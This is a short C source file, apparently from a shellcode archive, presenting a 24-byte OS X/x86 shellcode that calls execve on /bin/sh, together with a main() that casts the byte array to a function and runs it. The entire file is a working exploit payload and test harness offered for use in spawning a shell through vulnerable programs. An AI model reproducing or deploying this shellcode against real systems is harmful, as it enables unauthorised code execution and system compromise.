/* * revenge-execve-osx.c, v1.0 2006/12/11 15:38 * * osx/x86 execve("/bin//sh",["/bin//sh"],NULL) shellcode * * http://www.0xcafebabe.it * * * 24 Bytes * */ char shellcode[] = "\x99\x52\x68\x2f\x2f\x73\x68\x68" "\x2f\x62\x69\x6e\x89\xe3\x52\x54" "\x54\x53\x53\x8d\x42\x3b\xcd\x80"; int main (int ac, char **av) { void (*fp)(void) = (void (*)(void))shellcode; fp(); }